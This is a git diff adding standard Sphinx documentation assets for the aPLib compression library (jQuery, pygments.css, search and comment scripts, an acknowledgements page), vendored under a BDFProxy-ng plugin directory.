\t]*([^\r\n]*)\r?$/mg,dn=/^(?:about|app|app\-storage|.+\-extension|file|res|widget):$/,vn=/^(?:GET|HEAD)$/,mn=/^\/\//,gn=/\?/,yn=/)<[^<]*)*<\/script>/gi,bn=/([?&])_=[^&]*/,wn=/^([\w\+\.\-]+:)(?:\/\/([^\/?#:]*)(?::(\d+)|)|)/,En=v.fn.load,Sn={},xn={},Tn=["*/"]+["*"];try{cn=s.href}catch(Nn){cn=i.createElement("a"),cn.href="",cn=cn.href}ln=wn.exec(cn.toLowerCase())||[],v.fn.load=function(e,n,r){if(typeof e!="string"&&En)return En.apply(this,arguments);if(!this.length)return this;var i,s,o,u=this,a=e.indexOf(" ");return a>=0&&(i=e.slice(a,e.length),e=e.slice(0,a)),v.isFunction(n)?(r=n,n=t):n&&typeof n=="object"&&(s="POST"),v.ajax({url:e,type:s,dataType:"html",data:n,complete:function(e,t){r&&u.each(r,o||[e.responseText,t,e])}}).done(function(e){o=arguments,u.html(i?v("
").append(e.replace(yn,"")).find(i):e)}),this},v.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(e,t){v.fn[t]=function(e){return this.on(t,e)}}),v.each(["get","post"],function(e,n){v[n]=function(e,r,i,s){return v.isFunction(r)&&(s=s||i,i=r,r=t),v.ajax({type:n,url:e,data:r,success:i,dataType:s})}}),v.extend({getScript:function(e,n){return v.get(e,t,n,"script")},getJSON:function(e,t,n){return v.get(e,t,n,"json")},ajaxSetup:function(e,t){return t?Ln(e,v.ajaxSettings):(t=e,e=v.ajaxSettings),Ln(e,t),e},ajaxSettings:{url:cn,isLocal:dn.test(ln[1]),global:!0,type:"GET",contentType:"application/x-www-form-urlencoded; charset=UTF-8",processData:!0,async:!0,accepts:{xml:"application/xml, text/xml",html:"text/html",text:"text/plain",json:"application/json, text/javascript","*":Tn},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText"},converters:{"* text":e.String,"text html":!0,"text json":v.parseJSON,"text xml":v.parseXML},flatOptions:{context:!0,url:!0}},ajaxPrefilter:Cn(Sn),ajaxTransport:Cn(xn),ajax:function(e,n){function T(e,n,s,a){var l,y,b,w,S,T=n;if(E===2)return;E=2,u&&clearTimeout(u),o=t,i=a||"",x.readyState=e>0?4:0,s&&(w=An(c,x,s));if(e>=200&&e<300||e===304)c.ifModified&&(S=x.getResponseHeader("Last-Modified"),S&&(v.lastModified[r]=S),S=x.getResponseHeader("Etag"),S&&(v.etag[r]=S)),e===304?(T="notmodified",l=!0):(l=On(c,w),T=l.state,y=l.data,b=l.error,l=!b);else{b=T;if(!T||e)T="error",e<0&&(e=0)}x.status=e,x.statusText=(n||T)+"",l?d.resolveWith(h,[y,T,x]):d.rejectWith(h,[x,T,b]),x.statusCode(g),g=t,f&&p.trigger("ajax"+(l?"Success":"Error"),[x,c,l?y:b]),m.fireWith(h,[x,T]),f&&(p.trigger("ajaxComplete",[x,c]),--v.active||v.event.trigger("ajaxStop"))}typeof e=="object"&&(n=e,e=t),n=n||{};var r,i,s,o,u,a,f,l,c=v.ajaxSetup({},n),h=c.context||c,p=h!==c&&(h.nodeType||h instanceof v)?v(h):v.event,d=v.Deferred(),m=v.Callbacks("once memory"),g=c.statusCode||{},b={},w={},E=0,S="canceled",x={readyState:0,setRequestHeader:function(e,t){if(!E){var n=e.toLowerCase();e=w[n]=w[n]||e,b[e]=t}return this},getAllResponseHeaders:function(){return E===2?i:null},getResponseHeader:function(e){var n;if(E===2){if(!s){s={};while(n=pn.exec(i))s[n[1].toLowerCase()]=n[2]}n=s[e.toLowerCase()]}return n===t?null:n},overrideMimeType:function(e){return E||(c.mimeType=e),this},abort:function(e){return e=e||S,o&&o.abort(e),T(0,e),this}};d.promise(x),x.success=x.done,x.error=x.fail,x.complete=m.add,x.statusCode=function(e){if(e){var t;if(E<2)for(t in e)g[t]=[g[t],e[t]];else t=e[x.status],x.always(t)}return this},c.url=((e||c.url)+"").replace(hn,"").replace(mn,ln[1]+"//"),c.dataTypes=v.trim(c.dataType||"*").toLowerCase().split(y),c.crossDomain==null&&(a=wn.exec(c.url.toLowerCase()),c.crossDomain=!(!a||a[1]===ln[1]&&a[2]===ln[2]&&(a[3]||(a[1]==="http:"?80:443))==(ln[3]||(ln[1]==="http:"?80:443)))),c.data&&c.processData&&typeof c.data!="string"&&(c.data=v.param(c.data,c.traditional)),kn(Sn,c,n,x);if(E===2)return x;f=c.global,c.type=c.type.toUpperCase(),c.hasContent=!vn.test(c.type),f&&v.active++===0&&v.event.trigger("ajaxStart");if(!c.hasContent){c.data&&(c.url+=(gn.test(c.url)?"&":"?")+c.data,delete c.data),r=c.url;if(c.cache===!1){var N=v.now(),C=c.url.replace(bn,"$1_="+N);c.url=C+(C===c.url?(gn.test(c.url)?"&":"?")+"_="+N:"")}}(c.data&&c.hasContent&&c.contentType!==!1||n.contentType)&&x.setRequestHeader("Content-Type",c.contentType),c.ifModified&&(r=r||c.url,v.lastModified[r]&&x.setRequestHeader("If-Modified-Since",v.lastModified[r]),v.etag[r]&&x.setRequestHeader("If-None-Match",v.etag[r])),x.setRequestHeader("Accept",c.dataTypes[0]&&c.accepts[c.dataTypes[0]]?c.accepts[c.dataTypes[0]]+(c.dataTypes[0]!=="*"?", "+Tn+"; q=0.01":""):c.accepts["*"]);for(l in c.headers)x.setRequestHeader(l,c.headers[l]);if(!c.beforeSend||c.beforeSend.call(h,x,c)!==!1&&E!==2){S="abort";for(l in{success:1,error:1,complete:1})x[l](c[l]);o=kn(xn,c,n,x);if(!o)T(-1,"No Transport");else{x.readyState=1,f&&p.trigger("ajaxSend",[x,c]),c.async&&c.timeout>0&&(u=setTimeout(function(){x.abort("timeout")},c.timeout));try{E=1,o.send(b,T)}catch(k){if(!(E<2))throw k;T(-1,k)}}return x}return x.abort()},active:0,lastModified:{},etag:{}});var Mn=[],_n=/\?/,Dn=/(=)\?(?=&|$)|\?\?/,Pn=v.now();v.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=Mn.pop()||v.expando+"_"+Pn++;return this[e]=!0,e}}),v.ajaxPrefilter("json jsonp",function(n,r,i){var s,o,u,a=n.data,f=n.url,l=n.jsonp!==!1,c=l&&Dn.test(f),h=l&&!c&&typeof a=="string"&&!(n.contentType||"").indexOf("application/x-www-form-urlencoded")&&Dn.test(a);if(n.dataTypes[0]==="jsonp"||c||h)return s=n.jsonpCallback=v.isFunction(n.jsonpCallback)?n.jsonpCallback():n.jsonpCallback,o=e[s],c?n.url=f.replace(Dn,"$1"+s):h?n.data=a.replace(Dn,"$1"+s):l&&(n.url+=(_n.test(f)?"&":"?")+n.jsonp+"="+s),n.converters["script json"]=function(){return u||v.error(s+" was not called"),u[0]},n.dataTypes[0]="json",e[s]=function(){u=arguments},i.always(function(){e[s]=o,n[s]&&(n.jsonpCallback=r.jsonpCallback,Mn.push(s)),u&&v.isFunction(o)&&o(u[0]),u=o=t}),"script"}),v.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/javascript|ecmascript/},converters:{"text script":function(e){return v.globalEval(e),e}}}),v.ajaxPrefilter("script",function(e){e.cache===t&&(e.cache=!1),e.crossDomain&&(e.type="GET",e.global=!1)}),v.ajaxTransport("script",function(e){if(e.crossDomain){var n,r=i.head||i.getElementsByTagName("head")[0]||i.documentElement;return{send:function(s,o){n=i.createElement("script"),n.async="async",e.scriptCharset&&(n.charset=e.scriptCharset),n.src=e.url,n.onload=n.onreadystatechange=function(e,i){if(i||!n.readyState||/loaded|complete/.test(n.readyState))n.onload=n.onreadystatechange=null,r&&n.parentNode&&r.removeChild(n),n=t,i||o(200,"success")},r.insertBefore(n,r.firstChild)},abort:function(){n&&n.onload(0,1)}}}});var Hn,Bn=e.ActiveXObject?function(){for(var e in Hn)Hn[e](0,1)}:!1,jn=0;v.ajaxSettings.xhr=e.ActiveXObject?function(){return!this.isLocal&&Fn()||In()}:Fn,function(e){v.extend(v.support,{ajax:!!e,cors:!!e&&"withCredentials"in e})}(v.ajaxSettings.xhr()),v.support.ajax&&v.ajaxTransport(function(n){if(!n.crossDomain||v.support.cors){var r;return{send:function(i,s){var o,u,a=n.xhr();n.username?a.open(n.type,n.url,n.async,n.username,n.password):a.open(n.type,n.url,n.async);if(n.xhrFields)for(u in n.xhrFields)a[u]=n.xhrFields[u];n.mimeType&&a.overrideMimeType&&a.overrideMimeType(n.mimeType),!n.crossDomain&&!i["X-Requested-With"]&&(i["X-Requested-With"]="XMLHttpRequest");try{for(u in i)a.setRequestHeader(u,i[u])}catch(f){}a.send(n.hasContent&&n.data||null),r=function(e,i){var u,f,l,c,h;try{if(r&&(i||a.readyState===4)){r=t,o&&(a.onreadystatechange=v.noop,Bn&&delete Hn[o]);if(i)a.readyState!==4&&a.abort();else{u=a.status,l=a.getAllResponseHeaders(),c={},h=a.responseXML,h&&h.documentElement&&(c.xml=h);try{c.text=a.responseText}catch(p){}try{f=a.statusText}catch(p){f=""}!u&&n.isLocal&&!n.crossDomain?u=c.text?200:404:u===1223&&(u=204)}}}catch(d){i||s(-1,d)}c&&s(u,f,c,l)},n.async?a.readyState===4?setTimeout(r,0):(o=++jn,Bn&&(Hn||(Hn={},v(e).unload(Bn)),Hn[o]=r),a.onreadystatechange=r):r()},abort:function(){r&&r(0,1)}}}});var qn,Rn,Un=/^(?:toggle|show|hide)$/,zn=new RegExp("^(?:([-+])=|)("+m+")([a-z%]*)$","i"),Wn=/queueHooks$/,Xn=[Gn],Vn={"*":[function(e,t){var n,r,i=this.createTween(e,t),s=zn.exec(t),o=i.cur(),u=+o||0,a=1,f=20;if(s){n=+s[2],r=s[3]||(v.cssNumber[e]?"":"px");if(r!=="px"&&u){u=v.css(i.elem,e,!0)||n||1;do a=a||".5",u/=a,v.style(i.elem,e,u+r);while(a!==(a=i.cur()/o)&&a!==1&&--f)}i.unit=r,i.start=u,i.end=s[1]?u+(s[1]+1)*n:n}return i}]};v.Animation=v.extend(Kn,{tweener:function(e,t){v.isFunction(e)?(t=e,e=["*"]):e=e.split(" ");var n,r=0,i=e.length;for(;r-1,f={},l={},c,h;a?(l=i.position(),c=l.top,h=l.left):(c=parseFloat(o)||0,h=parseFloat(u)||0),v.isFunction(t)&&(t=t.call(e,n,s)),t.top!=null&&(f.top=t.top-s.top+c),t.left!=null&&(f.left=t.left-s.left+h),"using"in t?t.using.call(e,f):i.css(f)}},v.fn.extend({position:function(){if(!this[0])return;var e=this[0],t=this.offsetParent(),n=this.offset(),r=er.test(t[0].nodeName)?{top:0,left:0}:t.offset();return n.top-=parseFloat(v.css(e,"marginTop"))||0,n.left-=parseFloat(v.css(e,"marginLeft"))||0,r.top+=parseFloat(v.css(t[0],"borderTopWidth"))||0,r.left+=parseFloat(v.css(t[0],"borderLeftWidth"))||0,{top:n.top-r.top,left:n.left-r.left}},offsetParent:function(){return this.map(function(){var e=this.offsetParent||i.body;while(e&&!er.test(e.nodeName)&&v.css(e,"position")==="static")e=e.offsetParent;return e||i.body})}}),v.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(e,n){var r=/Y/.test(n);v.fn[e]=function(i){return v.access(this,function(e,i,s){var o=tr(e);if(s===t)return o?n in o?o[n]:o.document.documentElement[i]:e[i];o?o.scrollTo(r?v(o).scrollLeft():s,r?s:v(o).scrollTop()):e[i]=s},e,i,arguments.length,null)}}),v.each({Height:"height",Width:"width"},function(e,n){v.each({padding:"inner"+e,content:n,"":"outer"+e},function(r,i){v.fn[i]=function(i,s){var o=arguments.length&&(r||typeof i!="boolean"),u=r||(i===!0||s===!0?"margin":"border");return v.access(this,function(n,r,i){var s;return v.isWindow(n)?n.document.documentElement["client"+e]:n.nodeType===9?(s=n.documentElement,Math.max(n.body["scroll"+e],s["scroll"+e],n.body["offset"+e],s["offset"+e],s["client"+e])):i===t?v.css(n,r,i,u):v.style(n,r,i,u)},n,o?i:t,o,null)}})}),e.jQuery=e.$=v,typeof define=="function"&&define.amd&&define.amd.jQuery&&define("jquery",[],function(){return v})})(window); \ No newline at end of file diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/minus.png b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/minus.png new file mode 100644 index 0000000..da1c562 Binary files /dev/null and b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/minus.png differ diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/plus.png b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/plus.png new file mode 100644 index 0000000..b3cb374 Binary files /dev/null and b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/plus.png differ diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/pygments.css b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/pygments.css new file mode 100644 index 0000000..d79caa1 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/pygments.css @@ -0,0 +1,62 @@ +.highlight .hll { background-color: #ffffcc } +.highlight { background: #eeffcc; } +.highlight .c { color: #408090; font-style: italic } /* Comment */ +.highlight .err { border: 1px solid #FF0000 } /* Error */ +.highlight .k { color: #007020; font-weight: bold } /* Keyword */ +.highlight .o { color: #666666 } /* Operator */ +.highlight .cm { color: #408090; font-style: italic } /* Comment.Multiline */ +.highlight .cp { color: #007020 } /* Comment.Preproc */ +.highlight .c1 { color: #408090; font-style: italic } /* Comment.Single */ +.highlight .cs { color: #408090; background-color: #fff0f0 } /* Comment.Special */ +.highlight .gd { color: #A00000 } /* Generic.Deleted */ +.highlight .ge { font-style: italic } /* Generic.Emph */ +.highlight .gr { color: #FF0000 } /* Generic.Error */ +.highlight .gh { color: #000080; font-weight: bold } /* Generic.Heading */ +.highlight .gi { color: #00A000 } /* Generic.Inserted */ +.highlight .go { color: #333333 } /* Generic.Output */ +.highlight .gp { color: #c65d09; font-weight: bold } /* Generic.Prompt */ +.highlight .gs { font-weight: bold } /* Generic.Strong */ +.highlight .gu { color: #800080; font-weight: bold } /* Generic.Subheading */ +.highlight .gt { color: #0044DD } /* Generic.Traceback */ +.highlight .kc { color: #007020; font-weight: bold } /* Keyword.Constant */ +.highlight .kd { color: #007020; font-weight: bold } /* Keyword.Declaration */ +.highlight .kn { color: #007020; font-weight: bold } /* Keyword.Namespace */ +.highlight .kp { color: #007020 } /* Keyword.Pseudo */ +.highlight .kr { color: #007020; font-weight: bold } /* Keyword.Reserved */ +.highlight .kt { color: #902000 } /* Keyword.Type */ +.highlight .m { color: #208050 } /* Literal.Number */ +.highlight .s { color: #4070a0 } /* Literal.String */ +.highlight .na { color: #4070a0 } /* Name.Attribute */ +.highlight .nb { color: #007020 } /* Name.Builtin */ +.highlight .nc { color: #0e84b5; font-weight: bold } /* Name.Class */ +.highlight .no { color: #60add5 } /* Name.Constant */ +.highlight .nd { color: #555555; font-weight: bold } /* Name.Decorator */ +.highlight .ni { color: #d55537; font-weight: bold } /* Name.Entity */ +.highlight .ne { color: #007020 } /* Name.Exception */ +.highlight .nf { color: #06287e } /* Name.Function */ +.highlight .nl { color: #002070; font-weight: bold } /* Name.Label */ +.highlight .nn { color: #0e84b5; font-weight: bold } /* Name.Namespace */ +.highlight .nt { color: #062873; font-weight: bold } /* Name.Tag */ +.highlight .nv { color: #bb60d5 } /* Name.Variable */ +.highlight .ow { color: #007020; font-weight: bold } /* Operator.Word */ +.highlight .w { color: #bbbbbb } /* Text.Whitespace */ +.highlight .mf { color: #208050 } /* Literal.Number.Float */ +.highlight .mh { color: #208050 } /* Literal.Number.Hex */ +.highlight .mi { color: #208050 } /* Literal.Number.Integer */ +.highlight .mo { color: #208050 } /* Literal.Number.Oct */ +.highlight .sb { color: #4070a0 } /* Literal.String.Backtick */ +.highlight .sc { color: #4070a0 } /* Literal.String.Char */ +.highlight .sd { color: #4070a0; font-style: italic } /* Literal.String.Doc */ +.highlight .s2 { color: #4070a0 } /* Literal.String.Double */ +.highlight .se { color: #4070a0; font-weight: bold } /* Literal.String.Escape */ +.highlight .sh { color: #4070a0 } /* Literal.String.Heredoc */ +.highlight .si { color: #70a0d0; font-style: italic } /* Literal.String.Interpol */ +.highlight .sx { color: #c65d09 } /* Literal.String.Other */ +.highlight .sr { color: #235388 } /* Literal.String.Regex */ +.highlight .s1 { color: #4070a0 } /* Literal.String.Single */ +.highlight .ss { color: #517918 } /* Literal.String.Symbol */ +.highlight .bp { color: #007020 } /* Name.Builtin.Pseudo */ +.highlight .vc { color: #bb60d5 } /* Name.Variable.Class */ +.highlight .vg { color: #bb60d5 } /* Name.Variable.Global */ +.highlight .vi { color: #bb60d5 } /* Name.Variable.Instance */ +.highlight .il { color: #208050 } /* Literal.Number.Integer.Long */ \ No newline at end of file diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/searchtools.js b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/searchtools.js new file mode 100644 index 0000000..6e1f06b --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/searchtools.js @@ -0,0 +1,622 @@ +/* + * searchtools.js_t + * ~~~~~~~~~~~~~~~~ + * + * Sphinx JavaScript utilties for the full-text search. + * + * :copyright: Copyright 2007-2014 by the Sphinx team, see AUTHORS. + * :license: BSD, see LICENSE for details. + * + */ + + +/** + * Porter Stemmer + */ +var Stemmer = function() { + + var step2list = { + ational: 'ate', + tional: 'tion', + enci: 'ence', + anci: 'ance', + izer: 'ize', + bli: 'ble', + alli: 'al', + entli: 'ent', + eli: 'e', + ousli: 'ous', + ization: 'ize', + ation: 'ate', + ator: 'ate', + alism: 'al', + iveness: 'ive', + fulness: 'ful', + ousness: 'ous', + aliti: 'al', + iviti: 'ive', + biliti: 'ble', + logi: 'log' + }; + + var step3list = { + icate: 'ic', + ative: '', + alize: 'al', + iciti: 'ic', + ical: 'ic', + ful: '', + ness: '' + }; + + var c = "[^aeiou]"; // consonant + var v = "[aeiouy]"; // vowel + var C = c + "[^aeiouy]*"; // consonant sequence + var V = v + "[aeiou]*"; // vowel sequence + + var mgr0 = "^(" + C + ")?" + V + C; // [C]VC... is m>0 + var meq1 = "^(" + C + ")?" + V + C + "(" + V + ")?$"; // [C]VC[V] is m=1 + var mgr1 = "^(" + C + ")?" + V + C + V + C; // [C]VCVC... is m>1 + var s_v = "^(" + C + ")?" + v; // vowel in stem + + this.stemWord = function (w) { + var stem; + var suffix; + var firstch; + var origword = w; + + if (w.length < 3) + return w; + + var re; + var re2; + var re3; + var re4; + + firstch = w.substr(0,1); + if (firstch == "y") + w = firstch.toUpperCase() + w.substr(1); + + // Step 1a + re = /^(.+?)(ss|i)es$/; + re2 = /^(.+?)([^s])s$/; + + if (re.test(w)) + w = w.replace(re,"$1$2"); + else if (re2.test(w)) + w = w.replace(re2,"$1$2"); + + // Step 1b + re = /^(.+?)eed$/; + re2 = /^(.+?)(ed|ing)$/; + if (re.test(w)) { + var fp = re.exec(w); + re = new RegExp(mgr0); + if (re.test(fp[1])) { + re = /.$/; + w = w.replace(re,""); + } + } + else if (re2.test(w)) { + var fp = re2.exec(w); + stem = fp[1]; + re2 = new RegExp(s_v); + if (re2.test(stem)) { + w = stem; + re2 = /(at|bl|iz)$/; + re3 = new RegExp("([^aeiouylsz])\\1$"); + re4 = new RegExp("^" + C + v + "[^aeiouwxy]$"); + if (re2.test(w)) + w = w + "e"; + else if (re3.test(w)) { + re = /.$/; + w = w.replace(re,""); + } + else if (re4.test(w)) + w = w + "e"; + } + } + + // Step 1c + re = /^(.+?)y$/; + if (re.test(w)) { + var fp = re.exec(w); + stem = fp[1]; + re = new RegExp(s_v); + if (re.test(stem)) + w = stem + "i"; + } + + // Step 2 + re = /^(.+?)(ational|tional|enci|anci|izer|bli|alli|entli|eli|ousli|ization|ation|ator|alism|iveness|fulness|ousness|aliti|iviti|biliti|logi)$/; + if (re.test(w)) { + var fp = re.exec(w); + stem = fp[1]; + suffix = fp[2]; + re = new RegExp(mgr0); + if (re.test(stem)) + w = stem + step2list[suffix]; + } + + // Step 3 + re = /^(.+?)(icate|ative|alize|iciti|ical|ful|ness)$/; + if (re.test(w)) { + var fp = re.exec(w); + stem = fp[1]; + suffix = fp[2]; + re = new RegExp(mgr0); + if (re.test(stem)) + w = stem + step3list[suffix]; + } + + // Step 4 + re = /^(.+?)(al|ance|ence|er|ic|able|ible|ant|ement|ment|ent|ou|ism|ate|iti|ous|ive|ize)$/; + re2 = /^(.+?)(s|t)(ion)$/; + if (re.test(w)) { + var fp = re.exec(w); + stem = fp[1]; + re = new RegExp(mgr1); + if (re.test(stem)) + w = stem; + } + else if (re2.test(w)) { + var fp = re2.exec(w); + stem = fp[1] + fp[2]; + re2 = new RegExp(mgr1); + if (re2.test(stem)) + w = stem; + } + + // Step 5 + re = /^(.+?)e$/; + if (re.test(w)) { + var fp = re.exec(w); + stem = fp[1]; + re = new RegExp(mgr1); + re2 = new RegExp(meq1); + re3 = new RegExp("^" + C + v + "[^aeiouwxy]$"); + if (re.test(stem) || (re2.test(stem) && !(re3.test(stem)))) + w = stem; + } + re = /ll$/; + re2 = new RegExp(mgr1); + if (re.test(w) && re2.test(w)) { + re = /.$/; + w = w.replace(re,""); + } + + // and turn initial Y back to y + if (firstch == "y") + w = firstch.toLowerCase() + w.substr(1); + return w; + } +} + + + +/** + * Simple result scoring code. + */ +var Scorer = { + // Implement the following function to further tweak the score for each result + // The function takes a result array [filename, title, anchor, descr, score] + // and returns the new score. + /* + score: function(result) { + return result[4]; + }, + */ + + // query matches the full name of an object + objNameMatch: 11, + // or matches in the last dotted part of the object name + objPartialMatch: 6, + // Additive scores depending on the priority of the object + objPrio: {0: 15, // used to be importantResults + 1: 5, // used to be objectResults + 2: -5}, // used to be unimportantResults + // Used when the priority is not in the mapping. + objPrioDefault: 0, + + // query found in title + title: 15, + // query found in terms + term: 5 +}; + + +/** + * Search Module + */ +var Search = { + + _index : null, + _queued_query : null, + _pulse_status : -1, + + init : function() { + var params = $.getQueryParameters(); + if (params.q) { + var query = params.q[0]; + $('input[name="q"]')[0].value = query; + this.performSearch(query); + } + }, + + loadIndex : function(url) { + $.ajax({type: "GET", url: url, data: null, + dataType: "script", cache: true, + complete: function(jqxhr, textstatus) { + if (textstatus != "success") { + document.getElementById("searchindexloader").src = url; + } + }}); + }, + + setIndex : function(index) { + var q; + this._index = index; + if ((q = this._queued_query) !== null) { + this._queued_query = null; + Search.query(q); + } + }, + + hasIndex : function() { + return this._index !== null; + }, + + deferQuery : function(query) { + this._queued_query = query; + }, + + stopPulse : function() { + this._pulse_status = 0; + }, + + startPulse : function() { + if (this._pulse_status >= 0) + return; + function pulse() { + var i; + Search._pulse_status = (Search._pulse_status + 1) % 4; + var dotString = ''; + for (i = 0; i < Search._pulse_status; i++) + dotString += '.'; + Search.dots.text(dotString); + if (Search._pulse_status > -1) + window.setTimeout(pulse, 500); + } + pulse(); + }, + + /** + * perform a search for something (or wait until index is loaded) + */ + performSearch : function(query) { + // create the required interface elements + this.out = $('#search-results'); + this.title = $('

' + _('Searching') + '

').appendTo(this.out); + this.dots = $('').appendTo(this.title); + this.status = $('

').appendTo(this.out); + this.output = $('
'); + } + // Prettify the comment rating. + comment.pretty_rating = comment.rating + ' point' + + (comment.rating == 1 ? '' : 's'); + // Make a class (for displaying not yet moderated comments differently) + comment.css_class = comment.displayed ? '' : ' moderate'; + // Create a div for this comment. + var context = $.extend({}, opts, comment); + var div = $(renderTemplate(commentTemplate, context)); + + // If the user has voted on this comment, highlight the correct arrow. + if (comment.vote) { + var direction = (comment.vote == 1) ? 'u' : 'd'; + div.find('#' + direction + 'v' + comment.id).hide(); + div.find('#' + direction + 'u' + comment.id).show(); + } + + if (opts.moderator || comment.text != '[deleted]') { + div.find('a.reply').show(); + if (comment.proposal_diff) + div.find('#sp' + comment.id).show(); + if (opts.moderator && !comment.displayed) + div.find('#cm' + comment.id).show(); + if (opts.moderator || (opts.username == comment.username)) + div.find('#dc' + comment.id).show(); + } + return div; + } + + /** + * A simple template renderer. Placeholders such as <%id%> are replaced + * by context['id'] with items being escaped. Placeholders such as <#id#> + * are not escaped. + */ + function renderTemplate(template, context) { + var esc = $(document.createElement('div')); + + function handle(ph, escape) { + var cur = context; + $.each(ph.split('.'), function() { + cur = cur[this]; + }); + return escape ? esc.text(cur || "").html() : cur; + } + + return template.replace(/<([%#])([\w\.]*)\1>/g, function() { + return handle(arguments[2], arguments[1] == '%' ? true : false); + }); + } + + /** Flash an error message briefly. */ + function showError(message) { + $(document.createElement('div')).attr({'class': 'popup-error'}) + .append($(document.createElement('div')) + .attr({'class': 'error-message'}).text(message)) + .appendTo('body') + .fadeIn("slow") + .delay(2000) + .fadeOut("slow"); + } + + /** Add a link the user uses to open the comments popup. */ + $.fn.comment = function() { + return this.each(function() { + var id = $(this).attr('id').substring(1); + var count = COMMENT_METADATA[id]; + var title = count + ' comment' + (count == 1 ? '' : 's'); + var image = count > 0 ? opts.commentBrightImage : opts.commentImage; + var addcls = count == 0 ? ' nocomment' : ''; + $(this) + .append( + $(document.createElement('a')).attr({ + href: '#', + 'class': 'sphinx-comment-open' + addcls, + id: 'ao' + id + }) + .append($(document.createElement('img')).attr({ + src: image, + alt: 'comment', + title: title + })) + .click(function(event) { + event.preventDefault(); + show($(this).attr('id').substring(2)); + }) + ) + .append( + $(document.createElement('a')).attr({ + href: '#', + 'class': 'sphinx-comment-close hidden', + id: 'ah' + id + }) + .append($(document.createElement('img')).attr({ + src: opts.closeCommentImage, + alt: 'close', + title: 'close' + })) + .click(function(event) { + event.preventDefault(); + hide($(this).attr('id').substring(2)); + }) + ); + }); + }; + + var opts = { + processVoteURL: '/_process_vote', + addCommentURL: '/_add_comment', + getCommentsURL: '/_get_comments', + acceptCommentURL: '/_accept_comment', + deleteCommentURL: '/_delete_comment', + commentImage: '/static/_static/comment.png', + closeCommentImage: '/static/_static/comment-close.png', + loadingImage: '/static/_static/ajax-loader.gif', + commentBrightImage: '/static/_static/comment-bright.png', + upArrow: '/static/_static/up.png', + downArrow: '/static/_static/down.png', + upArrowPressed: '/static/_static/up-pressed.png', + downArrowPressed: '/static/_static/down-pressed.png', + voting: false, + moderator: false + }; + + if (typeof COMMENT_OPTIONS != "undefined") { + opts = jQuery.extend(opts, COMMENT_OPTIONS); + } + + var popupTemplate = '\ +
\ +

\ + Sort by:\ + best rated\ + newest\ + oldest\ +

\ +
Comments
\ +
\ + loading comments...
\ +
    \ +
    \ +

    Add a comment\ + (markup):

    \ +
    \ + reStructured text markup: *emph*, **strong**, \ + ``code``, \ + code blocks: :: and an indented block after blank line
    \ +
    \ + \ +

    \ + \ + Propose a change ▹\ + \ + \ + Propose a change ▿\ + \ +

    \ + \ + \ + \ + \ + \ +
    \ +
    '; + + var commentTemplate = '\ +
    \ +
    \ +
    \ + \ + \ + \ + \ + \ + \ +
    \ +
    \ + \ + \ + \ + \ + \ + \ +
    \ +
    \ +
    \ +

    \ + <%username%>\ + <%pretty_rating%>\ + <%time.delta%>\ +

    \ +
    <#text#>
    \ +

    \ + \ + reply ▿\ + proposal ▹\ + proposal ▿\ + \ + \ +

    \ +
    \
    +<#proposal_diff#>\
    +        
    \ +
      \ +
      \ +
      \ +
      \ + '; + + var replyTemplate = '\ +
    • \ +
      \ +
      \ + \ + \ + \ + \ + \ + \ +
      \ +
    • '; + + $(document).ready(function() { + init(); + }); +})(jQuery); + +$(document).ready(function() { + // add comment anchors for all paragraphs that are commentable + $('.sphinx-has-comment').comment(); + + // highlight search words in search results + $("div.context").each(function() { + var params = $.getQueryParameters(); + var terms = (params.q) ? params.q[0].split(/\s+/) : []; + var result = $(this); + $.each(terms, function() { + result.highlightText(this.toLowerCase(), 'highlighted'); + }); + }); + + // directly open comment window if requested + var anchor = document.location.hash; + if (anchor.substring(0, 9) == '#comment-') { + $('#ao' + anchor.substring(9)).click(); + document.location.hash = '#s' + anchor.substring(9); + } +}); diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/acknowledgements.html b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/acknowledgements.html new file mode 100644 index 0000000..79f57ad --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/acknowledgements.html @@ -0,0 +1,140 @@ + + + + + + + + Acknowledgements — aPLib 1.1.1 documentation + + + + + + + + + + + + + + + +
      +
      +
      +
      + +
      +

      Acknowledgements¶

      +

      Greetings and thanks to:

      +
        +
      • d’b for our continuous discussions of compression techniques :)
      • +
      • TAD for all the great ideas and the good discussions
      • +
      • The people who made the Epsilon Compression Page
      • +
      • Pasi ‘Albert’ Ojala for his info on PuCrunch
      • +
      • RIT Research Labs for making Dos Navigator .. it’s the BEST!
      • +
      • LiuTaoTao for making TR .. one of the best debuggers around!
      • +
      • Eugene Suslikov (SEN) for making HIEW .. it ROCKS!
      • +
      • Oleg for his work on the TMT Pascal code
      • +
      • Veit Kannegieser for his work on the VPascal code
      • +
      • METALBRAIN for his work on the 16bit depackers
      • +
      • Gautier for his work on the Ada code
      • +
      • Alexey Solodovnikov for his work on the Delphi code
      • +
      • Steve Hutchesson for his work on the MASM32 code
      • +
      • Agner Fog for objconv and his great info on calling conventions
      • +
      • All other people who make good software freely available for non-commercial +use!
      • +
      +

      A special thanks to the beta-testers:

      +
        +
      • x-otic (thx mate ;)
      • +
      • Oleg Prokhorov (great optimisations and bug reports!)
      • +
      • Lawrence E. Boothby
      • +
      • METALBRAIN (believe in miracles, my friend ;)
      • +
      • eL PuSHeR
      • +
      • Elli
      • +
      • Veit Kannegieser
      • +
      • Gautier
      • +
      +
      + + +
      +
      +
      +
      +
